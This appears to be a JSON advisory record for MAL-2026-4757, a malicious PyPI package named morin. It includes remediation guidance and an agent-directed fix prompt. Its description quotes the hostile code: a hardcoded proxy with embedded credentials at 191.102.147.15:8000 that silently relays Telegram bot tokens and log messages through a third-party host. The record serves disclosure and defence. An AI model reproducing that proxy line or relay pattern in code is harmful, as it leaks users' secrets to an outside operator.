{"answers":{"affected":"1 open source package ship an affected version, including morin.","exploited":"There is no known exploitation of MAL-2026-4757 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4757 is a malicious package in morin, published on 19 May 2026."},"fix_prompt":"MAL-2026-4757 is a malicious package: morin (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4757/ (Markdown: https://insights.sbomify.com/MAL-2026-4757/index.md)","id":"MAL-2026-4757","markdown":"https://insights.sbomify.com/MAL-2026-4757/index.md","name":"MAL-2026-4757","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"morin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (`proxies = {'https': 'http://5TUMV6:sq3suS@191.102.147.15:8000'}`) and unconditionally routes all Telegram API calls through it via `requests.get(url, params=params, proxies=proxies, timeout=15)` where `url=https://api.telegram.org/bot{bot_token}/sendMessage`. Every Clickhouse/connector class in the package funnels through `Common.log_func` / `Common.send_logs`, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in morin (PyPI)","id":"MAL-2026-4757","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"morin","purl":"pkg:pypi/morin","source":"MAL-2026-4757"}],"products":null,"published":"2026-05-19","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4757/"}